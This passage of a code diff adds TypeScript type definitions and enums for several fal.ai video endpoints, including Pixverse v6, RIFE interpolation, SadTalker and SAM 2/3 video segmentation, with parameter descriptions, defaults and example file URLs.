composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV6TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. v6 supports values from 1 to 15 seconds + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV6TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV6TextToVideoThinkingTypeKey | null +} + +export type File85Bb3Ce9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV6TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-4.mp4"} + * @type object + */ + video: File85Bb3Ce9 +} + +export const inputFalAiPixverseV6TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '2:3': '2:3', + '3:2': '3:2', + '21:9': '21:9', +} as const + +export type InputFalAiPixverseV6TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV6TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV6TransitionAspectRatioEnum] + +export const inputFalAiPixverseV6TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV6TransitionStyleKey = + (typeof inputFalAiPixverseV6TransitionStyle)[keyof typeof inputFalAiPixverseV6TransitionStyle] + +export const inputFalAiPixverseV6TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV6TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV6TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV6TransitionResolutionEnum] + +export const inputFalAiPixverseV6TransitionThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV6TransitionThinkingTypeKey = + (typeof inputFalAiPixverseV6TransitionThinkingType)[keyof typeof inputFalAiPixverseV6TransitionThinkingType] + +export type InputFalAiPixverseV6Transition = { + /** + * @description Enable multi-clip generation with dynamic camera changes + * @default false + * @type boolean | undefined + */ + generate_multi_clip_switch?: boolean + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV6TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. v6 supports values from 1 to 15 seconds + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV6TransitionStyleKey | null + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV6TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV6TransitionThinkingTypeKey | null +} + +export type FileA5E198Cd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV6Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-2.mp4"} + * @type object + */ + video: FileA5E198Cd +} + +export type InputFalAiRifeVideo = { + /** + * @description If True, the input video will be split into scenes before interpolation. This removes smear frames between scenes, but can result in false positives if the scene detection is not accurate. If False, the entire video will be treated as a single scene. + * @default false + * @type boolean | undefined + */ + use_scene_detection?: boolean + /** + * @description Frames per second for the output video. Only applicable if use_calculated_fps is False. + * @minimum 1 + * @maximum 60 + * @default 8 + * @type integer | undefined + */ + fps?: number + /** + * @description The number of frames to generate between the input video frames. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If True, the final frame will be looped back to the first frame to create a seamless loop. If False, the final frame will not loop back. + * @default false + * @type boolean | undefined + */ + loop?: boolean + /** + * @description If True, the function will use the calculated FPS of the input video multiplied by the number of frames to determine the output FPS. If False, the passed FPS will be used. + * @default true + * @type boolean | undefined + */ + use_calculated_fps?: boolean + /** + * @description The URL of the video to use for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolation-video-input.mp4 + * @type string + */ + video_url: string +} + +export type File951Cc57E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiRifeVideo = { + /** + * @description The generated video file with interpolated frames. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/rife-video-output.mp4"} + * @type object + */ + video: File951Cc57E +} + +export const inputFalAiSadtalkerFaceModelResolutionEnum = { + '256': '256', + '512': '512', +} as const + +export type InputFalAiSadtalkerFaceModelResolutionEnumKey = + (typeof inputFalAiSadtalkerFaceModelResolutionEnum)[keyof typeof inputFalAiSadtalkerFaceModelResolutionEnum] + +export const inputFalAiSadtalkerPreprocessEnum = { + crop: 'crop', + extcrop: 'extcrop', + resize: 'resize', + full: 'full', + extfull: 'extfull', +} as const + +export type InputFalAiSadtalkerPreprocessEnumKey = + (typeof inputFalAiSadtalkerPreprocessEnum)[keyof typeof inputFalAiSadtalkerPreprocessEnum] + +export type InputFalAiSadtalker = { + /** + * @description The type of face enhancer to use + * @example null + */ + face_enhancer?: 'gfpgan' | null + /** + * @description The style of the pose + * @minimum 0 + * @maximum 45 + * @default 0 + * @type integer | undefined + */ + pose_style?: number + /** + * @description URL of the driven audio + * @example https://storage.googleapis.com/falserverless/model_tests/sadtalker/deyu.wav + * @type string + */ + driven_audio_url: string + /** + * @description URL of the source image + * @example https://storage.googleapis.com/falserverless/model_tests/sadtalker/anime_girl.png + * @type string + */ + source_image_url: string + /** + * @description The resolution of the face model + * @default '256' + * @type string | undefined + */ + face_model_resolution?: InputFalAiSadtalkerFaceModelResolutionEnumKey + /** + * @description Whether to use still mode. Fewer head motion, works with preprocess `full`. + * @default false + * @type boolean | undefined + */ + still_mode?: boolean + /** + * @description The type of preprocessing to use + * @default 'crop' + * @type string | undefined + */ + preprocess?: InputFalAiSadtalkerPreprocessEnumKey + /** + * @description The scale of the expression + * @minimum 0 + * @maximum 3 + * @default 1 + * @type number | undefined + */ + expression_scale?: number +} + +export type FileCb7E204B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSadtalker = { + /** + * @description URL of the generated video + * @type object + */ + video: FileCb7E204B +} + +export const inputFalAiSadtalkerReferenceFaceModelResolutionEnum = { + '256': '256', + '512': '512', +} as const + +export type InputFalAiSadtalkerReferenceFaceModelResolutionEnumKey = + (typeof inputFalAiSadtalkerReferenceFaceModelResolutionEnum)[keyof typeof inputFalAiSadtalkerReferenceFaceModelResolutionEnum] + +export const inputFalAiSadtalkerReferencePreprocessEnum = { + crop: 'crop', + extcrop: 'extcrop', + resize: 'resize', + full: 'full', + extfull: 'extfull', +} as const + +export type InputFalAiSadtalkerReferencePreprocessEnumKey = + (typeof inputFalAiSadtalkerReferencePreprocessEnum)[keyof typeof inputFalAiSadtalkerReferencePreprocessEnum] + +export type InputFalAiSadtalkerReference = { + /** + * @description The type of face enhancer to use + * @example null + */ + face_enhancer?: 'gfpgan' | null + /** + * @description The style of the pose + * @minimum 0 + * @maximum 45 + * @default 0 + * @type integer | undefined + */ + pose_style?: number + /** + * @description URL of the driven audio + * @example https://storage.googleapis.com/falserverless/model_tests/sadtalker/deyu.wav + * @type string + */ + driven_audio_url: string + /** + * @description URL of the source image + * @example https://storage.googleapis.com/falserverless/model_tests/sadtalker/anime_girl.png + * @type string + */ + source_image_url: string + /** + * @description The resolution of the face model + * @default '256' + * @type string | undefined + */ + face_model_resolution?: InputFalAiSadtalkerReferenceFaceModelResolutionEnumKey + /** + * @description Whether to use still mode. Fewer head motion, works with preprocess `full`. + * @default false + * @type boolean | undefined + */ + still_mode?: boolean + /** + * @description The type of preprocessing to use + * @default 'crop' + * @type string | undefined + */ + preprocess?: InputFalAiSadtalkerReferencePreprocessEnumKey + /** + * @description URL of the reference video + * @example https://github.com/OpenTalker/SadTalker/raw/main/examples/ref_video/WDA_AlexandriaOcasioCortez_000.mp4 + * @type string + */ + reference_pose_video_url: string + /** + * @description The scale of the expression + * @minimum 0 + * @maximum 3 + * @default 1 + * @type number | undefined + */ + expression_scale?: number +} + +export type FileF38Da449 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSadtalkerReference = { + /** + * @description URL of the generated video + * @type object + */ + video: FileF38Da449 +} + +export const pointPromptBaseLabel = { + '0': 0, + '1': 1, +} as const + +export type PointPromptBaseLabelKey = + (typeof pointPromptBaseLabel)[keyof typeof pointPromptBaseLabel] + +export type PointPromptBase = { + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPromptBaseLabelKey | null + /** + * @description Y Coordinate of the prompt + */ + y?: number | null +} + +export type BoxPromptBase = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null +} + +export const inputFalAiSam31VideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', +} as const + +export type InputFalAiSam31VideoVideoOutputTypeEnumKey = + (typeof inputFalAiSam31VideoVideoOutputTypeEnum)[keyof typeof inputFalAiSam31VideoVideoOutputTypeEnum] + +export type InputFalAiSam31Video = { + /** + * @description Detection confidence threshold (0.0-1.0). Lower = more detections but less precise. + * @minimum 0.1 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + detection_threshold?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiSam31VideoVideoOutputTypeEnumKey + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPromptBase[] + /** + * @description List of box prompt coordinates (x_min, y_min, x_max, y_max). + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPromptBase[] + /** + * @description Maximum number of objects to track in the video. + * @minimum 1 + * @maximum 128 + * @default 16 + * @type integer | undefined + */ + max_num_objects?: number + /** + * @description Apply the mask on the video. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description The URL of the video to be segmented. + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description Text prompt for segmentation. Use commas to track multiple objects (e.g., 'person, cloth'). + * @default '' + * @example person + * @example person, cloth + * @type string | undefined + */ + prompt?: string +} + +export type File0891123F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiSam31Video = { + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: File0891123F | null + /** + * @description The segmented video. + * @example https://fal.media/files/lion/gr-RSvy2e7_AWbjxAq4mJ_output.mp4 + * @type object + */ + video: File0891123F +} + +export type BoxPrompt = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null +} + +export const pointPromptLabel = { + '0': 0, + '1': 1, +} as const + +export type PointPromptLabelKey = + (typeof pointPromptLabel)[keyof typeof pointPromptLabel] + +export type PointPrompt = { + /** + * @description Y Coordinate of the prompt + */ + y?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPromptLabelKey | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null +} + +export type InputFalAiSam31VideoRle = { + /** + * @description Apply the mask on the video. + * @default false + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description The URL of the mask to be applied initially. + */ + mask_url?: string | null + /** + * @description Frame index used for initial interaction when mask_url is provided. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description Also return every tracked object's own mask in each frame, with an id the object keeps for the whole video. The merged rle is returned as before. + * @default false + * @type boolean | undefined + */ + return_object_rles?: boolean + /** + * @description List of box prompts with optional frame_index. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPrompt[] + /** + * @description Text prompt for segmentation. Use commas to track multiple objects (e.g., 'person, cloth'). + * @default '' + * @example person + * @example person, cloth + * @type string | undefined + */ + prompt?: string + /** + * @description Return per-frame bounding box overlays as a zip archive. + * @default false + * @type boolean | undefined + */ + boundingbox_zip?: boolean + /** + * @description Maximum number of objects to track in the video. + * @minimum 1 + * @maximum 128 + * @default 16 + * @type integer | undefined + */ + max_num_objects?: number + /** + * @description Detection confidence threshold (0.0-1.0). Lower = more detections but less precise. Defaults: 0.5 for existing, 0.7 for new objects. Try 0.2-0.3 if text prompts fail. + * @minimum 0.01 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + detection_threshold?: number + /** + * @description List of point prompts with frame indices. + * @default [] + * @type array | undefined + */ + point_prompts?: PointPrompt[] + /** + * @description The URL of the video to be segmented. + * @example https://v3b.fal.media/files/b/elephant/NQdDxB0Ddfo82SPLbhYDp_bedroom.mp4 + * @type string + */ + video_url: string +} + +export type MaskMetadata = { + /** + * @description Score for this mask. + */ + score?: number | null + /** + * @description Bounding box for the mask in normalized cxcywh coordinates. + */ + box?: number[] | null + /** + * @description Index of the mask inside the model output. + * @type integer + */ + index: number +} + +export type ObjectRLE = { + /** + * @description The object's id, the same in every frame the object appears in. + * @type integer + */ + object_id: number + /** + * @description Run Length Encoding of this object's mask. + * @type string + */ + rle: string + /** + * @description Bounding box of this object's mask in normalized cxcywh coordinates. + */ + box?: number[] | null +} + +export type File513F352E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSam31VideoRle = { + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null + /** + * @description Per-mask metadata when multiple RLEs are returned. + */ + metadata?: MaskMetadata[] | null + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description With return_object_rles, each frame's tracked objects with their masks and ids, or a JSON file containing them in URL mode. + */ + objects?: ObjectRLE[][] | File513F352E | null + /** + * @description Per-frame RLE masks, or a JSON file containing them in URL mode. + */ + rle: string[] | File513F352E + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: File513F352E | null +} + +export const pointPromptBase286Ca366Label = { + '0': 0, + '1': 1, +} as const + +export type PointPromptBase286Ca366LabelKey = + (typeof pointPromptBase286Ca366Label)[keyof typeof pointPromptBase286Ca366Label] + +export type PointPromptBase286Ca366 = { + /** + * @description Y Coordinate of the prompt + */ + y?: number | null + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPromptBase286Ca366LabelKey | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null +} + +export type BoxPromptBase55421D35 = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null +} + +export const inputFalAiSam3VideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', +} as const + +export type InputFalAiSam3VideoVideoOutputTypeEnumKey = + (typeof inputFalAiSam3VideoVideoOutputTypeEnum)[keyof typeof inputFalAiSam3VideoVideoOutputTypeEnum] + +export type InputFalAiSam3Video = { + /** + * @description Apply the mask on the video. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description Detection confidence threshold (0.0-1.0). Lower = more detections but less precise. + * @minimum 0.1 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + detection_threshold?: number + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPromptBase286Ca366[] + /** + * @description The URL of the video to be segmented. + * @type string + */ + video_url: string + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiSam3VideoVideoOutputTypeEnumKey + /** + * @description Text prompt for segmentation. Use commas to track multiple objects (e.g., 'person, cloth'). + * @default '' + * @example person + * @example person, cloth + * @type string | undefined + */ + prompt?: string + /** + * @description [DEPRECATED] Use 'prompt' instead. Kept for backward compatibility. + * @deprecated + */ + text_prompt?: string | null + /** + * @description List of box prompt coordinates (x_min, y_min, x_max, y_max). + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPromptBase55421D35[] +} + +export type File501700E3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSam3Video = { + /** + * @description The segmented video. + * @example https://fal.media/files/monkey/5BLHmbX3qxu5cD5gQzTqw_output.mp4 + * @type object + */ + video: File501700E3 + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: File501700E3 | null +} + +export const pointPrompt8Dac8BabLabel = { + '0': 0, + '1': 1, +} as const + +export type PointPrompt8Dac8BabLabelKey = + (typeof pointPrompt8Dac8BabLabel)[keyof typeof pointPrompt8Dac8BabLabel] + +export type PointPrompt8Dac8Bab = { + /** + * @description Y Coordinate of the prompt + */ + y?: number | null + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPrompt8Dac8BabLabelKey | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null +} + +export type BoxPrompt313Df72C = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null +} + +export type InputFalAiSam3VideoRle = { + /** + * @description Apply the mask on the video. + * @default false + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description Frame index used for initial interaction when mask_url is provided. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description Return per-frame bounding box overlays as a zip archive. + * @default false + * @type boolean | undefined + */ + boundingbox_zip?: boolean + /** + * @description List of point prompts with frame indices. + * @default [] + * @type array | undefined + */ + point_prompts?: PointPrompt8Dac8Bab[] + /** + * @description The URL of the video to be segmented. + * @example https://v3b.fal.media/files/b/elephant/NQdDxB0Ddfo82SPLbhYDp_bedroom.mp4 + * @type string + */ + video_url: string + /** + * @description Detection confidence threshold (0.0-1.0). Lower = more detections but less precise. Defaults: 0.5 for existing, 0.7 for new objects. Try 0.2-0.3 if text prompts fail. + * @minimum 0.01 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + detection_threshold?: number + /** + * @description Text prompt for segmentation. Use commas to track multiple objects (e.g., 'person, cloth'). + * @default '' + * @example person + * @example person, cloth + * @type string | undefined + */ + prompt?: string + /** + * @description The URL of the mask to be applied initially. + */ + mask_url?: string | null + /** + * @description List of box prompts with optional frame_index. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPrompt313Df72C[] +} + +export type FileF2232660 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type MaskMetadata856Add2F = { + /** + * @description Index of the mask inside the model output. + * @type integer + */ + index: number + /** + * @description Bounding box for the mask in normalized cxcywh coordinates. + */ + box?: number[] | null + /** + * @description Score for this mask. + */ + score?: number | null +} + +export type OutputFalAiSam3VideoRle = { + /** + * @description Per-frame RLE masks, or a JSON file containing them in URL mode. + */ + rle: string[] | FileF2232660 + /** + * @description Per-mask metadata when multiple RLEs are returned. + */ + metadata?: MaskMetadata856Add2F[] | null + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: FileF2232660 | null + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null +} + +export const pointPrompt3Ecb6E6BLabelEnum = { + '0': 0, + '1': 1, +} as const + +export type PointPrompt3Ecb6E6BLabelEnumKey = + (typeof pointPrompt3Ecb6E6BLabelEnum)[keyof typeof pointPrompt3Ecb6E6BLabelEnum] + +export type PointPrompt3Ecb6E6B = { + /** + * @description Label of the prompt. 1 for foreground, 0 for background + * @default 1 + * @type number | undefined + */ + label?: PointPrompt3Ecb6E6BLabelEnumKey + /** + * @description The frame index to interact with. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description Y Coordinate of the prompt + * @default 350 + * @type integer | undefined + */ + y?: number + /** + * @description X Coordinate of the prompt + * @default 305 + * @type integer | undefined + */ + x?: number +} + +export type BoxPrompt41A33E88 = { + /** + * @description Y Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + y_max?: number + /** + * @description X Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + x_max?: number + /** + * @description The frame index to interact with. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description X Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + x_min?: number + /** + * @description Y Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + y_min?: number +} + +export type InputFalAiSam2Video = { + /** + * @description The URL of the video to be segmented. + * @example https://drive.google.com/uc?id=1iOFYbNITYwrebBBp9kaEGhBndFSRLz8k + * @type string + */ + video_url: string + /** + * @description Return per-frame bounding box overlays as a zip archive. + * @default false + * @type boolean | undefined + */ + boundingbox_zip?: boolean + /** + * @description List of prompts to segment the video + * @default [] + * @example [{"label":1,"frame_index":0,"y":350,"x":210},{"label":1,"frame_index":0,"y":220,"x":250}] + * @type array | undefined + */ + prompts?: PointPrompt3Ecb6E6B[] + /** + * @description Coordinates for boxes + * @default [] + * @example [{"y_max":400,"x_max":500,"frame_index":0,"x_min":300,"y_min":0}] + * @type array | undefined + */ + box_prompts?: BoxPrompt41A33E88[] + /** + * @description Apply the mask on the video. + * @default false + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description The URL of the mask to be applied initially. + */ + mask_url?: string | null +} + +export type FileF68852A3 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type SAM2VideoOutput = { + /** + * @description The segmented video. + * @type object + */ + video: FileF68852A3 + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: FileF68852A3 | null +} + +export type SAM2RLEOutput = { + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: FileF68852A3 | null + /** + * @description Run Length Encoding of the mask. + */ + rle: string | string[] +} + +export type SAM2RLEFileOutput = { + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: FileF68852A3 | null + /** + * @description Run Length Encoding of the mask. + * @type object + */ + rle: FileF68852A3 +} + +export type OutputFalAiSam2Video = + | SAM2VideoOutput + | SAM2RLEOutput + | SAM2RLEFileOutput + +export const inputFalAiScail2ModeEnum = { + animation: 'animation', + replacement: 'replacement', +} as const + +export type InputFalAiScail2ModeEnumKey = + (typeof inputFalAiScail2ModeEnum)[keyof typeof inputFalAiScail2ModeEnum] + +export const inputFalAiScail2DrivingTypeEnum = { + end_to_end: 'end_to_end', + pose: 'pose', +} as const + +export type InputFalAiScail2DrivingTypeEnumKey = + (typeof inputFalAiScail2DrivingTypeEnum)[keyof typeof inputFalAiScail2DrivingTypeEnum] + +export const inputFalAiScail2ResolutionEnum = { + '512p': '512p', + '704p': '704p', +} as const + +export type InputFalAiScail2ResolutionEnumKey = + (typeof inputFalAiScail2ResolutionEnum)[keyof typeof inputFalAiScail2ResolutionEnum] + +export const 